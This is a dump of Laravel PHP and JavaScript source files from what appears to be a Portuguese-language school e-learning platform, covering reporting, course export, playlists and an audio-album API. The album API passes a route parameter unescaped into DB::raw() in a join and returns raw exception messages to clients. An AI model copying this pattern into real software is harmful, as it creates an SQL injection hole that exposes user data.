'destaque' => 0, 'capa' => '', 'categoria_id' => 1, 'tags' => '[]', ]; // Cast fields as Carbon date protected $casts = [ 'tags' => 'array', ]; protected $dates = [ 'data_lancamento', ]; public function categoria() { return $this->belongsTo('App\Categoria', 'categoria_id'); // return $this->hasOne('App\Categoria', 'id', 'categoria_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } public function progressos() { return $this->hasMany('App\ProgressoConteudo', 'conteudo_id')->with('user')->where('tipo', '=', 1); } public function progressos_user() { return $this->hasMany('App\ProgressoConteudo', 'conteudo_id')->with('user')->where('tipo', '=', 1); } public function favorito($idUser, $idRef) { return $this->hasOne(Favorito::class, 'referencia_id') ->where([['user_id', $idUser], ['referencia_id', $idRef], ['tipo', 1]])->first(); } } <file_sep>/app/LiberacaoAplicacao.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class LiberacaoAplicacao extends Model { protected $table = 'liberacao_aplicacao'; //Preenchiveis protected $fillable = [ 'aplicacao_id', 'user_id', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; public function aplicacao() { return $this->belongsTo('App\Aplicacao'); } public function user() { return $this->belongsTo('App\User'); } } <file_sep>/app/Entities/Users/Repository.php <?php namespace App\Entities\Users; use App\User; class Repository { private $user; public function __construct(User $user) { $this->user = $user; } // listar todos os usuários public function getAll($wherePermission = null) { if ($wherePermission !== null) { return $this->user->where('permissao', $wherePermission)->get(); } return $this->user->all(); } }<file_sep>/app/Http/Controllers/ApostilaController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Conteudo; use App\Entities\Anotacao\Anotacao; class ApostilaController extends Controller { public function index($conteudo_id) { $conteudo = Conteudo::find($conteudo_id); if($conteudo == null) { return redirect("404"); // return redirect()->back()->withErrors("Conteúdo não encontrado!"); } $anotacoes = Anotacao::where([['conteudo_id', '=', $conteudo_id], ['user_id', '=', Auth::user()->id]])->get(); $marcadores = []; return view('play.leitor-apostila')->with( compact('conteudo', 'anotacoes', 'marcadores') ); } } <file_sep>/resources/js/pages/gestao/playlists.js window.enviarPlaylist = function () { $("#formNovaPlaylist #divLoading").addClass("d-none"); $("#formNovaPlaylist #divEditar").addClass("d-none"); $("#formNovaPlaylist #divEnviando").removeClass("d-none"); } window.atualizarPlaylist = function () { $("#formEditarPlaylist #divLoading").addClass("d-none"); $("#formEditarPlaylist #divEditar").addClass("d-none"); $("#formEditarPlaylist #divEnviando").removeClass("d-none"); } <file_sep>/app/Exceptions/Handler.php <?php namespace App\Exceptions; use Exception; use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler; use Auth; class Handler extends ExceptionHandler { /** * A list of the exception types that are not reported. * * @var array */ protected $dontReport = [ // ]; /** * A list of the inputs that are never flashed for validation exceptions. * * @var array */ protected $dontFlash = [ 'password', 'password_confirmation', ]; /** * Report or log an exception. * * @param \Exception $exception * @return void */ public function report(Exception $exception) { // Sentry actions // if(env("APP_ENV") != "local") if (app()->bound('sentry') && $this->shouldReport($exception)) { $sentry = app('sentry'); // Add user context if (Auth::check()) { $sentry->user_context([ 'id' => Auth::user()->id, 'name' => Auth::user()->name, 'email' => Auth::user()->email, 'permissao' => Auth::user()->permissao, 'logado' => true, ]); } else { $sentry->user_context([ 'id' => null, 'logado' => false, ]); } // Add tags context $sentry->tags_context(['app_env' => env("APP_ENV")]); app('sentry')->captureException($exception); } parent::report($exception); } /** * Render an exception into an HTTP response. * * @param \Illuminate\Http\Request $request * @param \Exception $exception * @return \Illuminate\Http\Response */ public function render($request, Exception $exception) { return parent::render($request, $exception); } } <file_sep>/app/Http/Controllers/RelatorioController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Storage; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Escola; use App\User; use App\Turma; use App\AlunoTurma; use App\PostagemTurma; use App\ComentarioPostagemTurma; use App\DuvidaProfessor; use App\Categoria; use App\Curso; use App\Aula; use App\Aplicacao; use App\Conteudo; use App\ProgressoConteudo; use App\InteracaoConteudo; use App\AvaliacaoInstrutor; use App\AvaliacaoConteudo; use App\Metrica; use App\ConteudoCompleto; use App\AvaliacaoCurso; use App\AvaliacaoEscola; use App\Matricula; class RelatorioController extends Controller { public function index() { if(strtoupper(Auth::user()->permissao) == "G") { $escola = Escola::where('user_id', '=', Auth::user()->id)->first(); } if(!isset($escola)) { $escola = Escola::find(1); } elseif($escola == null) { $escola = Escola::find(1); } $userId = Auth::user()->id; $escolas = null; if(strtoupper(Auth::user()->permissao) == "Z") { $escolas = Escola::all(); // Alunos $alunos = User::with('progressos', 'badges_user')->where([['permissao', '=', 'A']])->get(); //Relatorios gerais $totalEscolas = Escola::count(); $totalGestores = User::where('permissao', '=', 'G')->count(); $totalProfessores = User::where('permissao', '=', 'P')->count(); $totalTurmas = Turma::count(); $totalAlunos = User::where('permissao', '=', 'A')->count(); } else if(strtoupper(Auth::user()->permissao) == "G") { $alunos = User::with('progressos', 'badges_user')->where([['permissao', '=', 'A'], ['escola_id', '=', Auth::user()->escola_id]])->get(); //Relatorios gerais $totalEscolas = Escola::count(); $totalGestores = User::where([['permissao', '=', 'G'], ['escola_id', '=', Auth::user()->escola_id]])->count(); $totalProfessores = User::where([['permissao', '=', 'P'], ['escola_id', '=', Auth::user()->escola_id]])->count(); $totalTurmas = Turma::where([['escola_id', '=', Auth::user()->escola_id]])->count(); $totalAlunos = User::where([['permissao', '=', 'A'], ['escola_id', '=', Auth::user()->escola_id]])->count(); } else { $turmasId = Turma::where('user_id', '=', Auth::user()->id)->pluck('id'); $alunos = User::with('progressos', 'badges_user')->where([['permissao', '=', 'A'], ['escola_id', '=', Auth::user()->escola_id]]) ->whereHas('turmas_aluno', function ($query) use ($turmasId) { $query->whereIn('turma_id', $turmasId); })->get(); //Relatorios gerais $totalEscolas = Escola::count(); $totalGestores = User::where([['permissao', '=', 'G'], ['escola_id', '=', Auth::user()->escola_id]])->count(); $totalProfessores = User::where([['permissao', '=', 'P'], ['escola_id', '=', Auth::user()->escola_id]])->count(); $totalTurmas = Turma::where([['escola_id', '=', Auth::user()->escola_id]])->count(); $totalAlunos = User::where([['permissao', '=', 'A'], ['escola_id', '=', Auth::user()->escola_id]])->count(); } $mediaAlunosConectados = [0, 0, 0, 0, 0]; $nivelAprendizado = [0, 0, 0, 0, 0, 0]; foreach ($alunos as $user) { $user->acessos = Metrica::where([['titulo', '=', 'Acesso na plataforma'], ['user_id', '=', $user->id]])->count(); if($user->acessos >= 31) { $mediaAlunosConectados[0] ++; } elseif($user->acessos >= 16 && $user->acessos <= 30) { $mediaAlunosConectados[1] ++; } elseif($user->acessos >= 6 && $user->acessos <= 15) { $mediaAlunosConectados[2] ++; } elseif($user->acessos >= 1 && $user->acessos <= 5) { $mediaAlunosConectados[3] ++; } else { $mediaAlunosConectados[4] ++; } $totalConteudosCompletos = ProgressoConteudo::where([['user_id', '=', $user->id], ['progresso', '>=', 100]])->count(); $totalAvaliacoes = AvaliacaoConteudo::where([['user_id', '=', $user->id]])->count(); $totalAvaliacoesPositivas = AvaliacaoConteudo::where([['user_id', '=', $user->id], ['avaliacao', '=', 1]])->count(); if($totalConteudosCompletos == 0 || $totalAvaliacoes == 0) { $nivelAprendizado[5] ++; } else { $percentualAprendizagem = ($totalAvaliacoesPositivas * 100) / $totalAvaliacoes; if($percentualAprendizagem >= 80) { $nivelAprendizado[0] ++; } elseif($percentualAprendizagem >= 60 && $percentualAprendizagem <= 79) { $nivelAprendizado[1] ++; } elseif($percentualAprendizagem >= 40 && $percentualAprendizagem <= 59) { $nivelAprendizado[2] ++; } elseif($percentualAprendizagem >= 20 && $percentualAprendizagem <= 39) { $nivelAprendizado[3] ++; } else//if($percentualAprendizagem >= 0 && $percentualAprendizagem <= 19) { $nivelAprendizado[4] ++; } } // foreach (ConteudoCompleto::where('user_id', '=', $user->id)->get() as $conteudo) // { // $avaliacao = AvaliacaoConteudo::where([['user_id', '=', $user->id], ['curso_id', '=', $conteudo->curso_id], ['aula_id', '=', $conteudo->aula_id], ['conteudo_id', '=', $conteudo->id]])->get(); // if($avaliacao != null) // { // $ // } // } } // dd($nivelAprendizado); // Cursos if(strtolower(Auth::user()->permissao) == "z") { $totalCursos = Curso::count(); } else { $totalCursos = Curso::where('user_id', '=', $userId)->count(); } //Relatorios cursos if(strtolower(Auth::user()->permissao) == "z") { $cursos = Curso::with('matriculas')->get(); $totalMatriculados = Matricula::whereHas('curso')->whereHas('user')->count(); } else { $cursos = Curso::with('matriculas')->where('user_id', '=', $userId)->get(); $totalMatriculados = Matricula::whereHas('user')->whereHas('curso', function($item) use($userId) { $item->where('user_id', '=', $userId); })->count(); } $mediaAtividadesCompletas = 0; $somatoria = 0; $total = 0; $participativos = 0; foreach ($cursos as $curso) { foreach ($curso->matriculas as $matricula) { $matricula->user = User::find($matricula->user_id); $total_conteudos = Conteudo::whereHas('conteudos_aula', function ($query) use ($matricula) { $query->where([['curso_id', '=', $matricula->curso_id], ['obrigatorio', '=', '1']]); })->count(); if($total_conteudos > 0) { $matricula->progresso = number_format((ConteudoCompleto::where([['user_id', '=', $matricula->user_id], ['curso_id', '=', $matricula->curso_id]])->count() * 100) / $total_conteudos, 2); } else { $matricula->progresso = 0; } if($matricula->progresso > 0) $participativos ++; if($matricula->progresso > 100) $matricula->progresso = 100; $somatoria ++; $total += $matricula->progresso; } } // Conteudos if(strtoupper(Auth::user()->permissao) == "Z") { $totalConteudos = Conteudo::count(); } elseif(strtoupper(Auth::user()->permissao) == "G") { $totalConteudos = Conteudo::where('user_id', '=', $userId) ->orWhereHas('user', function ($query) { $query->where('escola_id', '=', Auth::user()->escola_id); })->count(); } else { $totalConteudos = Conteudo::where('user_id', '=', $userId)->count(); } //Relatorios conteudos if(strtoupper(Auth::user()->permissao) == "Z") { $conteudos = Conteudo::all(); // $totalMatriculados = Matricula::count(); } elseif(strtoupper(Auth::user()->permissao) == "G") { $conteudos = Conteudo::where('user_id', '=', $userId) ->orWhereHas('user', function ($query) { $query->where('escola_id', '=', Auth::user()->escola_id); })->get(); } else { $conteudos = Conteudo::where('user_id', '=', $userId)->get(); // $totalMatriculados = Matricula::whereHas('curso', function($item) use($userId) // { // $item->where('user_id', '=', $userId); // })->count(); } $mediaAtividadesCompletas = 0; $somatoria = 0; $total = 0; $participativos = 0; if($somatoria > 0) { $mediaAtividadesCompletas = number_format($total / $somatoria, 2); $participacao = number_format( ($participativos * 100) / $somatoria, 2); } else { $mediaAtividadesCompletas = 0; $participacao = 0; } // Turmas if(strtoupper(Auth::user()->permissao) == "Z") { $turmas = Turma::with('alunos_user')->get(); } else if(strtoupper(Auth::user()->permissao) == "G") { $turmas = Turma::with('alunos_user')->where('escola_id', '=', Auth::user()->escola_id) ->orWhere('user_id', '=', $userId)->get(); } else { $turmas = Turma::with('alunos_user')->where('user_id', '=', $userId)->get(); } foreach ($turmas as $turma) { $turma->qt_alunos = AlunoTurma::where('turma_id', '=', $turma->id)->count(); $turma->qt_postagens = PostagemTurma::where([['turma_id', '=', $turma->id]])->count(); $turma->qt_comentarios = 0; foreach(PostagemTurma::with('comentarios')->where([['turma_id', '=', $turma->id]])->get() as $postagem) { $turma->qt_comentarios += count($postagem->comentarios); } $turma->qt_duvidas = DuvidaProfessor::where([['professor_id', '=', $turma->user_id]])->count(); $turma->alunosInativos = collect(); $turma->alunosRisco = collect(); $now = Carbon::now(); $turma->qt_alunos_participativos = 0; foreach($turma->alunos_user as $aluno) { // dd($aluno->user); $aluno->qt_postagens = PostagemTurma::where([['user_id', '=', $aluno->user_id], ['turma_id', '=', $aluno->turma_id]])->count(); $aluno->qt_comentarios = ComentarioPostagemTurma::where([['user_id', '=', $aluno->user_id]])->count(); $aluno->qt_duvidas = DuvidaProfessor::where([['user_id', '=', $aluno->user_id], ['professor_id', '=', $turma->user_id]])->count(); if($aluno->qt_postagens > 0 || $aluno->qt_comentarios > 0 || $aluno->qt_duvidas > 0) { $turma->qt_alunos_participativos ++; } if($aluno->user != null ? $aluno->user->ultima_atividade != null : false) { $diff = Carbon::parse($aluno->user->ultima_atividade)->diffInDays($now); if($diff >= 30) { $turma->alunosInativos->push($aluno); } if($aluno->user->created_at == $aluno->user->ultima_atividade) { $turma->alunosRisco->push($aluno); } } } $turma->participacaoAlunos = 0; if($turma->qt_alunos > 0) { $turma->participacaoAlunos = number_format(($turma->qt_alunos_participativos * 100) / $turma->qt_alunos, 2, ",", "."); } // dd($turma->alunosInativos); } foreach($alunos as $aluno) { $aluno->qt_acessos = Metrica::where([['titulo', '=', 'Acesso na plataforma'], ['user_id', '=', $aluno->id]])->count(); if(AlunoTurma::where('user_id', '=', $aluno->id)->first() != null) { $aluno->qt_postagens = PostagemTurma::where([['user_id', '=', $aluno->id], ['turma_id', '=', AlunoTurma::where('user_id', '=', $aluno->id)->first()->turma_id]])->count(); $aluno->qt_duvidas = DuvidaProfessor::where([['user_id', '=', $aluno->id], ['professor_id', '=', $turma->id]])->count(); } else { $aluno->qt_postagens = 0; $aluno->qt_duvidas = 0; } $aluno->qt_comentarios = ComentarioPostagemTurma::where([['user_id', '=', $aluno->id]])->count(); foreach($aluno->progressos as $progresso) { if($progresso->tipo == 1) { if(Aplicacao::find($progresso->conteudo_id) != null) { $progresso->titulo = Aplicacao::find($progresso->conteudo_id)->titulo; } else { $progresso->titulo = "Aplicação " . $progresso->conteudo_id; } } else if($progresso->tipo == 2) { if(Conteudo::find($progresso->conteudo_id) != null) { $progresso->titulo = Conteudo::find($progresso->conteudo_id)->titulo; } else { $progresso->titulo = "Conteúdo " . $progresso->conteudo_id; } } } $aluno->interacoes = collect(); foreach(InteracaoConteudo::where('user_id', '=', $aluno->id)->select('conteudo_id','tipo')->get()->unique(function ($item) { return $item['conteudo_id'].$item['tipo']; }) as $interacao) { $ic = InteracaoConteudo::where([['conteudo_id', '=', $interacao->conteudo_id], ['tipo', '=', $interacao->tipo], ['user_id', '=', $aluno->id]])->first(); if($ic == null) { continue; } if($ic->tipo == 1) { if(Aplicacao::find($ic->conteudo_id) != null) { $ic->titulo = Aplicacao::find($ic->conteudo_id)->titulo; } else { $ic->titulo = "Aplicação " . $ic->conteudo_id; } } else if($ic->tipo == 2) { if(Conteudo::find($ic->conteudo_id) != null) { $ic->titulo = Conteudo::find($ic->conteudo_id)->titulo; } else { $ic->titulo = "Conteúdo " . $ic->conteudo_id; } } $total_interacoes = 0; $tempo_medio = 0; $tempo_total = 0; foreach(InteracaoConteudo::where([['conteudo_id', '=', $interacao->conteudo_id], ['tipo', '=', $interacao->tipo], ['user_id', '=', $aluno->id]])->get() as $int) { $total_interacoes ++; $tempo_total += Carbon::parse($int->inicio)->diffInSeconds(Carbon::parse($int->created_at)); } if($total_interacoes > 0) { $tempo_medio = $tempo_total / $total_interacoes; } $ultima_interacao = InteracaoConteudo::where([['conteudo_id', '=', $interacao->conteudo_id], ['tipo', '=', $interacao->tipo], ['user_id', '=', $aluno->id]])->orderBy('created_at', 'desc')->first()->created_at; $interacao = [ "conteudo_id" => $interacao->conteudo_id, "tipo" => $interacao->tipo, "titulo" => $ic->titulo, "tempo_medio" => $tempo_medio, "tempo_total" => $tempo_total, 'ultima_interacao' => $ultima_interacao ]; $aluno->interacoes->push($interacao); } // dd($aluno->interacoes); } // dd($alunos); foreach ($turmas as $turma) { $turma->qt_alunos = AlunoTurma::where('turma_id', '=', $turma->id)->count(); $turma->qt_postagens = PostagemTurma::where([['turma_id', '=', $turma->id]])->count(); $turma->qt_comentarios = 0; foreach(PostagemTurma::with('comentarios')->where([['turma_id', '=', $turma->id]])->get() as $postagem) { $turma->qt_comentarios += count($postagem->comentarios); } $turma->qt_duvidas = DuvidaProfessor::where([['professor_id', '=', $turma->user_id]])->count(); $turma->alunosInativos = collect(); $turma->alunosRisco = collect(); $now = Carbon::now(); $turma->qt_alunos_participativos = 0; foreach($turma->alunos_user as $aluno) { // dd($aluno->user); $aluno->qt_postagens = PostagemTurma::where([['user_id', '=', $aluno->user_id], ['turma_id', '=', $aluno->turma_id]])->count(); $aluno->qt_comentarios = ComentarioPostagemTurma::where([['user_id', '=', $aluno->user_id]])->count(); $aluno->qt_duvidas = DuvidaProfessor::where([['user_id', '=', $aluno->user_id], ['professor_id', '=', $turma->user_id]])->count(); if($aluno->qt_postagens > 0 || $aluno->qt_comentarios > 0 || $aluno->qt_duvidas > 0) { $turma->qt_alunos_participativos ++; } if($aluno->user != null ? $aluno->user->ultima_atividade != null : false) { $diff = Carbon::parse($aluno->user->ultima_atividade)->diffInDays($now); if($diff >= 30) { $turma->alunosInativos->push($aluno); } if($aluno->user->created_at == $aluno->user->ultima_atividade) { $turma->alunosRisco->push($aluno); } } } $turma->participacaoAlunos = 0; if($turma->qt_alunos > 0) { $turma->participacaoAlunos = number_format(($turma->qt_alunos_participativos * 100) / $turma->qt_alunos, 2, ",", "."); } // dd($turma->alunosInativos); } // $metricas = Metrica::all(); // dd($metricas->groupBy('titulo')); $metricas = Metrica::query(); $metricas->when( Auth::user()->permissao != "Z", function ($q) use ($escola) { return $q->whereHas('user', function ($q2) use ($escola) { $q2->where('escola_id', $escola->id); }); }); $metricas = $metricas->pluck('titulo')->unique(); // dd($metricas); $metricaAcessosPlataforma = Metrica::where([['titulo', 'Acesso na plataforma']]) ->whereHas('user', function ($query) use ($escola) { $query->where('escola_id', $escola->id); }) ->orderBy('created_at', 'asc')->get(['user_id', 'created_at'])->groupBy(function($val) { return Carbon::parse($val->created_at)->format('d/m/Y'); }); foreach ($metricaAcessosPlataforma as $key => $metrica) { $metricaAcessosPlataforma[$key] = count($metrica); } if(AvaliacaoInstrutor::where('instrutor_id', '=', Auth::user()->id)->avg('avaliacao') > 0) { $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', Auth::user()->id)->avg('avaliacao'); } else { $avaliacaoInstrutor = '-'; } $avaliacoes = AvaliacaoInstrutor::with('user')->where('instrutor_id', '=', Auth::user()->id)->orderBy('created_at', 'desc')->get(); return view('gestao.relatorios')->with(compact('escolas', 'escola', 'turmas', 'alunos', 'cursos', 'totalEscolas', 'totalGestores', 'totalProfessores', 'totalTurmas', 'totalAlunos', 'mediaAtividadesCompletas', 'participacao', 'mediaAlunosConectados', 'nivelAprendizado', 'conteudos', 'totalMatriculados', 'cursos', 'avaliacoes', 'avaliacaoInstrutor', 'metricas', 'metricaAcessosPlataforma')); } public function avaliacoesProfessor($idProfessor) { $professor = User::with('escola', 'turmas_instrutor')->find($idProfessor); foreach ($professor->turmas_instrutor as $turma) { $turma->qt_alunos = AlunoTurma::where('turma_id', '=', $turma->id)->count(); } if($professor == null) { return redirect()->back()->withErrors("Professor não encontrado!"); } else if(strtoupper($professor->permissao) != "P" && strtoupper($professor->permissao) != "G" && strtoupper($professor->permissao) != "Z") { return redirect()->back()->withErrors("Professor não encontrado!"); } //Relatorios avaliacoes instrutor if(AvaliacaoInstrutor::where('instrutor_id', '=', $idProfessor)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $idProfessor)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $avaliacoes = AvaliacaoInstrutor::with('user')->where('instrutor_id', '=', $idProfessor)->orderBy('created_at', 'desc')->get(); return view('professor.avaliacoes')->with(compact('professor', 'avaliacoes', 'avaliacaoInstrutor')); } } <file_sep>/app/ArtigoAjuda.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class ArtigoAjuda extends Model { protected $table = 'artigo_ajuda'; //Preenchiveis protected $fillable = [ 'id', 'user_id', 'titulo', 'conteudo', 'categoria', 'marcadores', 'status', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'categoria' => '', 'marcadores' => '', 'status' => 0, ]; public function user() { return $this->belongsTo('App\User', 'user_id'); } public function avaliacoes() { return $this->belongsTo('App\AvaliacaoArtigoAjuda'); } public function avaliacoes_user() { return $this->belongsTo('App\AvaliacaoArtigoAjuda', 'id', 'artigo_ajuda_id')->where(function($query) { if(\Auth::check()) { $query->where('user_id', '=', \Auth::user()->id); } else { $query->whereNull('id'); } }); } } <file_sep>/app/Http/Controllers/Exportacao/AulaController.php <?php namespace App\Http\Controllers\Exportacao; use App\Aula; use App\ConteudoAula; use App\Conteudo; class AulaController extends ExportacaoController { public function aula($idCurso, $idAula) { $aula = Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first(); $aula->makeHidden(['id', 'curso_id', 'user_id', 'created_at', 'updated_at']); //LISTA DE CAMPOS QUE NÃO PRECISAMOS CAPTURAR. $aulaConteudos = ConteudoAula::where([['aula_id', '=', $idAula], ['curso_id', '=', $idCurso]])->get(); foreach($aulaConteudos as $aulaConteudo) { $aulaConteudo = Conteudo::find($aulaConteudo->conteudo_id); $aulaConteudo->makeHidden(['id', 'user_id', 'created_at', 'updated_at']); //LISTA DE CAMPOS QUE NÃO PRECISAMOS CAPTURAR. $resAulaConteudos[] = $aulaConteudo; } $res['aula'] = $aula; $res['aula']['conteudos'] = $resAulaConteudos; $res = json_encode($res); $fileName = $this->generateFileName('aula', $aula->titulo, 'tz'); return $this->callDownloadFromStream($res, $fileName, ''); } }<file_sep>/resources/js/pages/gestao/audios-interacoes/admin/viewAudioInteracoes.js window.excluirAudioInteracao = function (id) { if ($("#formExcluirAudioInteracao" + id).length == 0) return; swal({ title: 'Excluir interação?', text: "Você deseja mesmo excluir esta interação? Todo seu conteúdo será apagado!", icon: "warning", buttons: ['Não', 'Sim, excluir!'], dangerMode: true, }).then((result) => { if (result == true) { $("#formExcluirAudioInteracao" + id).submit(); } }); } /* function readableDuration(seconds) { sec = Math.floor( seconds ); min = Math.floor( sec / 60 ); min = min >= 10 ? min : '0' + min; sec = Math.floor( sec % 60 ); sec = sec >= 10 ? sec : '0' + sec; return min + ':' + sec; } */ function formatTime(seconds) { return [ parseInt(seconds / 60 / 60), parseInt(seconds / 60 % 60), parseInt(seconds % 60) ] .join(":") .replace(/\b(\d)\b/g, "0$1") } function hmsToSecondsOnly(str) { var p = str.split(':'), s = 0, m = 1; while (p.length > 0) { s += m * parseInt(p.pop(), 10); m *= 60; } return s; } if($('.container-seekbar').length) { var audioplayer = document.createElement("audio"); audioplayer.src = document.getElementById('audio_url').value; audioplayer.onloadedmetadata = function () { $('.end-timer-view').text(formatTime(audioplayer.duration)); } } /* SEEKBAR COMPONENT */ function createSeekBarComponent(id) { var seekbar = document.createElement('input'); seekbar.id = id + "_seekbar"; seekbar.type = 'range'; seekbar.value = ''; seekbar.step = 'any'; $('#'+id).find('.container-seekbar').html(seekbar); var audioplayer = document.createElement("audio"); audioplayer.src = document.getElementById('audio_url').value; if($('#'+id).find('.txtTempoAudioInteracao').val()) { seekbar.value = hmsToSecondsOnly($('#'+id).find('.txtTempoAudioInteracao').val()); } audioplayer.addEventListener("canplaythrough", function () { //alert('The file is loaded and ready to play!'); }, false); audioplayer.onloadedmetadata = function () { seekbar.setAttribute('max', audioplayer.duration); $('#' + id).find('.end-timer').text(formatTime(audioplayer.duration)); } seekbar.onchange = function() { audioplayer.currentTime = seekbar.value; } seekbar.oninput = function() { audioplayer.currentTime = seekbar.value; $('#' + id).find('.txtTempoAudioInteracao').val(formatTime(audioplayer.currentTime)); } audioplayer.ontimeupdate = function() { seekbar.value = audioplayer.currentTime; } } window.novaInteracaoAudio = function(id) { createSeekBarComponent(id); }; window.editarInteracaoAudio = function(id) { createSeekBarComponent(id); } /* */<file_sep>/app/Console/Commands/EmailExampleCron.php <?php namespace App\Console\Commands; use Illuminate\Console\Command; class EmailExampleCron extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'email.example:cron'; /** * The console command description. * * @var string */ protected $description = 'Command description'; /** * Create a new command instance. * * @return void */ public function __construct() { parent::__construct(); } /** * Execute the console command. * * @return mixed */ public function handle() { //Do your actions here \Mail::send([], [], function($message) { $message ->from('<EMAIL>', '<NAME>') ->to('<EMAIL>') ->subject('Automatic Testing mails - ' . date("H:i d/m/Y")) // ->setBody('<h1>Hi, welcome user!</h1>', 'text/html'); // for HTML rich messages ->setBody('Apenas um e-mail de teste que deve ser enviado de tempos em tempos automáticamente!'); // assuming text/plain }); $this->info('E-mail Example Cron comando rodando com êxito'); } } <file_sep>/app/Http/Controllers/Album/Api/AlbumApiController.php <?php namespace App\Http\Controllers\Album\Api; use App\Entities\Album\Album; use Illuminate\Support\Facades\DB; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class AlbumApiController extends Controller { public function destaques($idEscola = '') { try { if(isset($idEscola) && !empty($idEscola)) { $albums = Album::select( 'albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id') ->join('users', 'albums.user_id', '=', 'users.id') ->join('escolas', 'users.escola_id', '=', DB::raw($idEscola)) ->with(['audios' => function ($query) { $query->select( 'audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao', 'audios.duracao as duration'); }]) ->distinct() ->orderBy('albums.id', 'DESC') ->limit(5) ->get(); } else { $albums = Album::select( 'albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id') ->with(['audios' => function ($query) { $query->select( 'audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao', 'audios.duracao as duration'); }]) ->distinct() ->orderBy('albums.id', 'DESC') ->limit(5) ->get(); } if (!$albums) { return response()->json(['error' => 'Nenhum álbum foi encontrado']); } return response()->json($albums); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao listar.", "message:" => $exception->getMessage()]); } } public function listar($idEscola, $filter = null) { if($filter == null) { $filter = $idEscola; $idEscola = null; } try { if ($filter !== null) { if(isset($idEscola)) { $albums = Album::select( 'albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id') ->join('users', 'albums.user_id', '=', 'users.id') ->join('escolas', 'users.escola_id', '=', DB::raw($idEscola)) ->where('categoria', $filter) ->orWhereHas('categoria', function ($q) use ($filter) { $q->where('titulo', '=', $filter); }) ->with(['audios' => function ($query) { $query->select( 'audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao', 'audios.duracao as duration'); }]) ->distinct() ->orderBy('albums.id', 'DESC') ->paginate(10); } else { $albums = Album::select( 'albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id') ->where('categoria', $filter) ->orWhereHas('categoria', function ($q) use ($filter) { $q->where('titulo', '=', $filter); }) ->with(['audios' => function ($query) { $query->select( 'audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao', 'audios.duracao as duration'); }]) ->distinct() ->orderBy('albums.id', 'DESC') ->paginate(10); } return response()->json($albums); } if(isset($idEscola)) { $albums = Album::select( 'albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id') ->join('users', 'albums.user_id', '=', 'users.id') ->join('escolas', 'users.escola_id', '=', DB::raw($idEscola)) ->with(['audios' => function ($query) { $query->select( 'audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao', 'audios.duracao as duration' ); }]) ->distinct() ->orderBy('id', 'DESC') ->paginate(10); } else { $albums = Album::select( 'albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id') ->with(['audios' => function ($query) { $query->select( 'audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao', 'audios.duracao as duration' ); }]) ->distinct() ->orderBy('id', 'DESC') ->paginate(10); } if ($albums->isEmpty()) { return response()->json(['error' => 'Nenhum álbum foi encontrado']); } return response()->json($albums); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao listar.", "message:" => $exception->getMessage()]); } } public function show($idAlbum) { try { $album = Album::with(['audios' => function ($query) { $query->select( 'audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao', 'audios.duracao as duration'); }]) ->select( 'albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id') ->find($idAlbum); if (!$album) { return response()->json(['error' => 'Nenhum álbum foi encontrado']); } return response()->json($album); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao encontrar", "message:" => $exception->getMessage()]); } } } <file_sep>/app/Entities/Badges/Repository.php <?php namespace App\Entities\Badges; use App\Badge; class Repository { private $badge; public function __construct(Badge $badge) { $this->badge = $badge; } // listar todas as badges public function all() { return $this->badge->all(); } //deletar uma badge public function delete($id) { return $this->badge->find($id)->delete(); } // cadastrar novas badges public function store($values) { $this->badge->create($values); } // atualiza uma badge public function update($id, $values) { return $this->badge->find($id)->update($values); } // Retorna uma badge public function find($idBadge) { return $this->badge->find($idBadge); } }<file_sep>/app/Http/Controllers/Estatisticas/Alunos/EstatisticasController.php <?php namespace App\Http\Controllers\Estatisticas\Alunos; use App\Entities\HabilidadeUsuario\HabilidadeUsuario; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Carbon\Carbon; use App\Entities\GradeAula\GradeAula; use App\AlunoTurma; use App\Entities\GamificacaoUsuario\GamificacaoUsuario; use App\Escola; use App\Turma; use App\User; class EstatisticasController extends Controller { public function index() { // dd("Home"); // 